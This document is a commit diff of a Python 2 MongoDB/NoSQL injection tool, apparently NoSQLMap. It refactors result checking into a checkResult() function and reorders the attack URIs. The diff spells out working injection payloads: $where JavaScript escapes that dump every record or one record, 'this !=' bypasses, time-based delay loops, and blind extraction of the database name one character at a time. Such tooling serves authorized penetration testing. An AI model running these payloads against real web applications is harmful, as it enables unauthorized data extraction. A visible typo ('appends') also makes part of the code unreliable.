@@ -1007,8 +1007,12 @@ def webApps():
1007
1007
print "Web App Attacks (GET)"
1008
1008
print "==============="
1009
1009
paramName = []
1010
+ global testNum
1011
+ testNum = 1
1010
1012
paramValue = []
1013
+ global vulnAddrs
1011
1014
vulnAddrs = []
1015
+ global possAddrs
1012
1016
possAddrs = []
1013
1017
timeVulnsStr = []
1014
1018
timeVulnsInt = []
@@ -1017,7 +1021,13 @@ def webApps():
1017
1021
intTbAttack = False
1018
1022
trueStr = False
1019
1023
trueInt = False
1024
+ global lt24
1020
1025
lt24 = False
1026
+ global str24
1027
+ str24 = False
1028
+ global int24
1029
+ int24 = False
1030
+
1021
1031
1022
1032
#Verify app is working.
1023
1033
print "Checking to see if site at " + str (victim ) + ":" + str (webPort ) + str (uri ) + " is up..."
@@ -1037,7 +1047,11 @@ def webApps():
1037
1047
1038
1048
1039
1049
1040
- print "App is up! Got response length of " + str (normLength ) + " and response time of " + str (timeBase ) + " seconds. Starting injection test.\n "
1050
+ if verb == "ON" :
1051
+ print "App is up! Got response length of " + str (normLength ) + " and response time of " + str (timeBase ) + " seconds. Starting injection test.\n "
1052
+
1053
+ else :
1054
+ print "App is up!"
1041
1055
appUp = True
1042
1056
1043
1057
else :
@@ -1054,7 +1068,12 @@ def webApps():
1054
1068
#Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
1055
1069
#Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
1056
1070
randomUri = buildUri (appURL ,injectString )
1057
- print "Checking random injected parameter HTTP response size using " + randomUri + "...\n "
1071
+
1072
+ if verb == "ON" :
1073
+ print "Checking random injected parameter HTTP response size using " + randomUri + "...\n "
1074
+ else :
1075
+ print "Sending random parameter value..."
1076
+
1058
1077
randLength = int (len (urllib .urlopen (randomUri ).read ()))
1059
1078
print "Got response length of " + str (randLength ) + "."
1060
1079
@@ -1063,177 +1082,92 @@ def webApps():
1063
1082
if randNormDelta == 0 :
1064
1083
print "No change in response size injecting a random parameter..\n "
1065
1084
else :
1066
- print "HTTP response varied " + str (randNormDelta ) + " bytes with random parameter value! \n "
1085
+ print "Random value variance: " + str (randNormDelta ) + "\n "
1067
1086
1068
- print "Testing Mongo PHP not equals associative array injection using " + uriArray [1 ] + "..."
1087
+ if verb == "ON" :
1088
+ print "Testing Mongo PHP not equals associative array injection using " + uriArray [1 ] + "..."
1089
+ else :
1090
+ print "Test 1: PHP associative array injection"
1069
1091
injLen = int (len (urllib .urlopen (uriArray [1 ]).read ()))
1070
- print "Got response length of " + str (injLen ) + "."
1071
-
1072
- randInjDelta = abs (injLen - randLength )
1073
-
1074
- if (randInjDelta >= 100 ) and (injLen != 0 ) :
1075
- print "Not equals injection response varied " + str (randInjDelta ) + " bytes from random parameter value! Injection works!"
1076
- vulnAddrs .append (uriArray [1 ])
1077
-
1078
- elif (randInjDelta > 0 ) and (randInjDelta < 100 ) and (injLen != 0 ) :
1079
- print "Response variance was only " + str (randInjDelta ) + " bytes. Injection might have worked but difference is too small to be certain. "
1080
- possAddrs .append (uriArray [1 ])
1081
-
1082
- elif (randInjDelta == 0 ):
1083
- print "Random string response size and not equals injection were the same. Injection did not work."
1092
+
1093
+ if verb == "ON" :
1094
+ print "Got response length of " + str (injLen ) + "."
1095
+ checkResult (randLength ,injLen ,testNum )
1096
+ testNum += 1
1097
+ print "\n "
1098
+
1099
+ if verb == "ON" :
1100
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n "
1101
+ print "Injecting " + uriArray [2 ]
1084
1102
else :
1085
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
1086
- possAddrs .append (uriArray [1 ])
1087
-
1088
- print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n "
1089
- print "Injecting " + uriArray [2 ]
1090
-
1091
- whereStrLen = int (len (urllib .urlopen (uriArray [2 ]).read ()))
1092
- whereStrDelta = abs (whereStrLen - randLength )
1093
-
1094
- if (whereStrDelta >= 100 ) and (whereStrLen > 0 ):
1095
- print "Java $where escape varied " + str (whereStrDelta ) + " bytes from random parameter value! Where injection works!"
1096
- lt24 = True
1097
- str24 = True
1098
- vulnAddrs .append (uriArray [2 ])
1099
-
1100
- elif (whereStrDelta > 0 ) and (whereStrDelta < 100 ) and (whereStrLen - randLength > 0 ):
1101
- print " response variance was only " + str (whereStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
1102
- possAddrs .append (uriArray [2 ])
1103
-
1104
- elif (whereStrDelta == 0 ):
1105
- print "Random string response size and $where injection were the same. Injection did not work."
1103
+ print "Test 2: $where injection (string escape)"
1106
1104
1107
- else :
1108
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
1109
- possAddrs . append ( uriArray [ 2 ])
1105
+ injLen = int ( len ( urllib . urlopen ( uriArray [ 2 ]). read ()))
1106
+ checkResult ( randLength , injLen , testNum )
1107
+ testNum += 1
1110
1108
1111
1109
print "\n "
1112
- print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n "
1113
- print "Injecting " + uriArray [3 ]
1114
-
1115
- whereIntLen = int (len (urllib .urlopen (uriArray [3 ]).read ()))
1116
- whereIntDelta = abs (whereIntLen - randLength )
1117
-
1118
- if (whereIntDelta >= 100 ) and (whereIntLen - randLength > 0 ):
1119
- print "Java $where escape varied " + str (whereIntDelta ) + " bytes from random parameter! Where injection works!"
1120
- lt24 = True
1121
- int24 = True
1122
- vulnAddrs .append (uriArray [3 ])
1123
-
1124
- elif (whereIntDelta > 0 ) and (whereIntDelta < 100 ) and (whereIntLen - randLength > 0 ):
1125
- print " response variance was only " + str (whereIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
1126
- possAddrs .append (uriArray [3 ])
1127
-
1128
- elif (whereIntDelta == 0 ):
1129
- print "Random string response size and $where injection were the same. Injection did not work."
1130
-
1110
+ if verb == "ON" :
1111
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n "
1112
+ print "Injecting " + uriArray [3 ]
1131
1113
else :
1132
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
1133
- possAddrs .append (uriArray [3 ])
1134
-
1135
- #Start a single record attack in case the app expects only one record back
1136
-
1137
- print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n "
1138
- print " Injecting " + uriArray [4 ]
1139
-
1140
-
1141
- whereOneStrLen = int (len (urllib .urlopen (uriArray [4 ]).read ()))
1142
- whereOneStrDelta = abs (whereOneStrLen - randLength )
1143
-
1144
- if (whereOneStrDelta >= 100 ) and (whereOneStrLen - randLength > 0 ):
1145
- print "Java $where escape varied " + str (whereOneStrDelta ) + " bytes from random parameter value! Where injection works!"
1146
- lt24 = True
1147
- str24 = True
1148
- vulnAddrs .append (uriArray [4 ])
1149
-
1150
- elif (whereOneStrDelta > 0 ) and (whereOneStrDelta < 100 ) and (whereOneStrLen - randLength > 0 ):
1151
- print " response variance was only " + str (whereOneStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
1152
- possAddrs .append (uriArray [4 ])
1153
-
1154
- elif (whereOneStrDelta == 0 ):
1155
- print "Random string response size and $where single injection were the same. Injection did not work."
1114
+ print "Test 3: $where injection (integer escape)"
1156
1115
1116
+ injLen = int (len (urllib .urlopen (uriArray [3 ]).read ()))
1117
+ checkResult (randLength ,injLen ,testNum )
1118
+ testNum += 1
1119
+
1120
+ #Start a single record attack in case the app expects only one record back
1121
+ print "\n "
1122
+ if verb == "ON" :
1123
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n "
1124
+ print " Injecting " + uriArray [4 ]
1157
1125
else :
1158
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
1159
- possAddrs .append (uriArray [4 ])
1160
-
1161
- print "\n "
1162
- print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n "
1163
- print " Injecting " + uriArray [5 ]
1126
+ print "Test 4: $where injection string escape (single record)"
1164
1127
1165
1128
1166
- whereOneIntLen = int (len (urllib .urlopen (uriArray [5 ]).read ()))
1167
- whereOneIntDelta = abs (whereOneIntLen - randLength )
1168
-
1169
- if (whereOneIntDelta >= 100 ) and (whereOneIntLen - randLength > 0 ):
1170
- print "Java $where escape varied " + str (whereOneIntDelta ) + " bytes from random parameter! Where injection works!"
1171
- lt24 = True
1172
- int24 = True
1173
- vulnAddrs .append (uriArray [5 ])
1174
-
1175
- elif (whereOneIntDelta > 0 ) and (whereOneIntDelta < 100 ) and (whereOneIntLen - randLength > 0 ):
1176
- print " response variance was only " + str (whereOneIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
1177
- possAddrs .append (uriArray [5 ])
1178
-
1179
- elif (whereOneIntDelta == 0 ):
1180
- print "Random string response size and $where single record injection were the same. Injection did not work."
1181
-
1182
- else :
1183
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
1184
- possAddrs .append (uriArray [5 ])
1185
-
1129
+ injLen = int (len (urllib .urlopen (uriArray [4 ]).read ()))
1130
+ checkResult (randLength ,injLen ,testNum )
1131
+ testNum += 1
1132
+
1186
1133
print "\n "
1187
- print "Testing Mongo this not equals string escape attack for all records..."
1188
- print " Injecting " + uriArray [8 ]
1189
-
1190
- whereThisStrLen = int (len (urllib .urlopen (uriArray [8 ]).read ()))
1191
- whereThisStrDelta = abs (whereThisStrLen - randLength )
1192
-
1193
- if (whereThisStrDelta >= 100 ) and (whereThisStrLen - randLength > 0 ):
1194
- print "Java this not equals varied " + str (whereThisStrDelta ) + " bytes from random parameter! Where injection works!"
1195
- vulnAddrs .append (uriArray [8 ])
1134
+ if verb == "ON" :
1135
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n "
1136
+ print " Injecting " + uriArray [5 ]
1137
+ else :
1138
+ print "Test 5: $where injection integer escape (single record)"
1196
1139
1197
- elif (whereThisStrDelta > 0 ) and (whereThisStrDelta < 100 ) and (whereThisStrLen - randLength > 0 ):
1198
- print " response variance was only " + str (whereThisStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
1199
- possAddrs .append (uriArray [8 ])
1200
-
1201
- elif (whereThisStrDelta == 0 ):
1202
- print "Random string response size and this return response size were the same. Injection did not work."
1203
-
1204
- else :
1205
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
1206
- possAddrs .append (uriArray [8 ])
1140
+ injLen = int (len (urllib .urlopen (uriArray [5 ]).read ()))
1141
+ checkResult (randLength ,injLen ,testNum )
1142
+ testNum += 1
1207
1143
1208
1144
print "\n "
1209
- print "Testing Mongo this not equals integer escape attack for all records..."
1210
- print " Injecting " + uriArray [9 ]
1211
-
1212
- whereThisIntLen = int (len (urllib .urlopen (uriArray [9 ]).read ()))
1213
- whereThisIntDelta = abs (whereThisIntLen - randLength )
1214
-
1215
- if (whereThisIntDelta >= 100 ) and (whereThisIntLen - randLength > 0 ):
1216
- print "Java this not equals varied " + str (whereThisStrDelta ) + " bytes from random parameter! Where injection works!"
1217
- vulnAddrs .append (uriArray [9 ])
1218
-
1219
- elif (whereThisIntDelta > 0 ) and (whereThisIntDelta < 100 ) and (whereThisIntLen - randLength > 0 ):
1220
- print " response variance was only " + str (whereThisIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
1221
- possAddrs .append (uriArray [9 ])
1222
-
1223
- elif (whereThisIntDelta == 0 ):
1224
- print "Random string response size and this return response size were the same. Injection did not work."
1145
+ if verb == "ON" :
1146
+ print "Testing Mongo this not equals string escape attack for all records..."
1147
+ print " Injecting " + uriArray [6 ]
1148
+ else :
1149
+ print "Test 6: This != injection (string escape)"
1150
+ injLen = int (len (urllib .urlopen (uriArray [6 ]).read ()))
1151
+ checkResult (randLength ,injLen ,testNum )
1152
+ testNum += 1
1225
1153
1226
- else :
1227
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
1228
- possAddrs .append (uriArray [9 ])
1154
+ print "\n "
1155
+ if verb == "ON" :
1156
+ print "Testing Mongo this not equals integer escape attack for all records..."
1157
+ print " Injecting " + uriArray [7 ]
1158
+ else :
1159
+ print "Test 7: This != injection (integer escape)"
1160
+ injLen = int (len (urllib .urlopen (uriArray [7 ]).read ()))
1161
+ checkResult (randLength ,injLen ,testNum )
1162
+ testNum += 1
1229
1163
1230
1164
print "\n "
1231
1165
doTimeAttack = raw_input ("Start timing based tests (y/n)? " )
1232
1166
1233
1167
if doTimeAttack == "y" or doTimeAttack == "Y" :
1234
1168
print "Starting Javascript string escape time based injection..."
1235
1169
start = time .time ()
1236
- strTimeInj = urllib .urlopen (uriArray [6 ])
1170
+ strTimeInj = urllib .urlopen (uriArray [8 ])
1237
1171
page = strTimeInj .read ()
1238
1172
end = time .time ()
1239
1173
strTimeInj .close ()
@@ -1251,7 +1185,7 @@ def webApps():
1251
1185
1252
1186
print "Starting Javascript integer escape time based injection..."
1253
1187
start = time .time ()
1254
- intTimeInj = urllib .urlopen (uriArray [7 ])
1188
+ intTimeInj = urllib .urlopen (uriArray [9 ])
1255
1189
page = intTimeInj .read ()
1256
1190
end = time .time ()
1257
1191
intTimeInj .close ()
@@ -1319,8 +1253,55 @@ def webApps():
1319
1253
fo .close ()
1320
1254
1321
1255
raw_input ("Press enter to continue..." )
1322
- return ()
1256
+ return ()
1323
1257
1258
+ def checkResult (baseSize ,respSize ,testNum ):
1259
+ global vulnAddrs
1260
+ global possAddrs
1261
+ global lt24
1262
+ global str24
1263
+ global int24
1264
+
1265
+ delta = abs (respSize - baseSize )
1266
+ if (delta >= 100 ) and (respSize != 0 ) :
1267
+ if verb == "ON" :
1268
+ print "Response varied " + str (delta ) + " bytes from random parameter value! Injection works!"
1269
+ else :
1270
+ print "Successful injection!"
1271
+
1272
+
1273
+ vulnAddrs .append (uriArray [testNum ])
1274
+ if testNum == 2 or testNum == 4 :
1275
+ lt24 = True
1276
+ str24 = True
1277
+
1278
+ elif testNum == 3 or testNum == 5 :
1279
+ lt24 = True
1280
+ int24 = True
1281
+ return
1282
+
1283
+ elif (delta > 0 ) and (delta < 100 ) and (respSize != 0 ) :
1284
+ if verb == "ON" :
1285
+ print "Response variance was only " + str (delta ) + " bytes. Injection might have worked but difference is too small to be certain. "
1286
+ else :
1287
+ print "Possible injection."
1288
+ possAddrs .append (uriArray [testNum ])
1289
+ return
1290
+
1291
+ elif (delta == 0 ):
1292
+ if verb == "ON" :
1293
+ print "Random string response size and not equals injection were the same. Injection did not work."
1294
+ else :
1295
+ print "Injection failed."
1296
+ return
1297
+ else :
1298
+ if verb == "ON" :
1299
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
1300
+ else :
1301
+ print "Possible injection."
1302
+ possAddrs .appends (uriArray [testNum ])
1303
+ return
1304
+
1324
1305
def randInjString (size ):
1325
1306
print "What format should the random string take?"
1326
1307
print "1-Alphanumeric"
@@ -1419,10 +1400,10 @@ def buildUri(origUri, randValue):
1419
1400
uriArray [3 ] += paramName [x ] + "=1; return db.a.find(); var dummy=1" + "&"
1420
1401
uriArray [4 ] += paramName [x ] + "=a'; return db.a.findOne(); var dummy='!" + "&"
1421
1402
uriArray [5 ] += paramName [x ] + "=1; return db.a.findOne(); var dummy=1" + "&"
1422
- uriArray [6 ] += paramName [x ] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return ; var dummy='!" + "&"
1423
- uriArray [7 ] += paramName [x ] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return ; var dummy=1" + "&"
1424
- uriArray [8 ] += paramName [x ] + "=a'; return this.a != '" + randValue + "' ; var dummy='!" + "&"
1425
- uriArray [9 ] += paramName [x ] + "=1; return this.a !=" + randValue + " ; var dummy=1" + "&"
1403
+ uriArray [6 ] += paramName [x ] + "=a'; return this.a != '" + randValue + "' ; var dummy='!" + "&"
1404
+ uriArray [7 ] += paramName [x ] + "=1; return this.a !=" + randValue + " ; var dummy=1" + "&"
1405
+ uriArray [8 ] += paramName [x ] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return ; var dummy='!" + "&"
1406
+ uriArray [9 ] += paramName [x ] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return ; var dummy=1" + "&"
1426
1407
uriArray [10 ] += paramName [x ] + "=a\" ; return db.a.find(); var dummy=\" !" + "&"
1427
1408
uriArray [11 ] += paramName [x ] + "=a\" ; return this.a != '" + randValue + "'; var dummy=\" !" + "&"
1428
1409
uriArray [12 ] += paramName [x ] + "=a\" ; return db.a.findOne(); var dummy=\" !" + "&"
@@ -1654,7 +1635,7 @@ def getDBInfo():
1654
1635
print "Calculating DB name length..."
1655
1636
1656
1637
while gotNameLen == False :
1657
- calcUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.length ==" + str (curLen ) + ") {return true;} vardum ='a" + "&" )
1638
+ calcUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.length ==" + str (curLen ) + ") {return true;} var dum ='a" + "&" )
1658
1639
#print "Debug: " + calcUri
1659
1640
lenUri = int (len (urllib .urlopen (calcUri ).read ()))
1660
1641
#print "Debug length: " + str(lenUri)
@@ -1668,7 +1649,7 @@ def getDBInfo():
1668
1649
1669
1650
print "Database Name: " ,
1670
1651
while gotDbName == False :
1671
- charUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.charAt(" + str (nameCounter ) + ") == '" + chars [charCounter ] + "') { return true; } vardum ='a" + "&" )
1652
+ charUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.charAt(" + str (nameCounter ) + ") == '" + chars [charCounter ] + "') { return true; } var dum ='a" + "&" )
1672
1653
#print "Debug: " + charUri
1673
1654
1674
1655
lenUri = int (len (urllib .urlopen (charUri ).read ()))
0 commit comments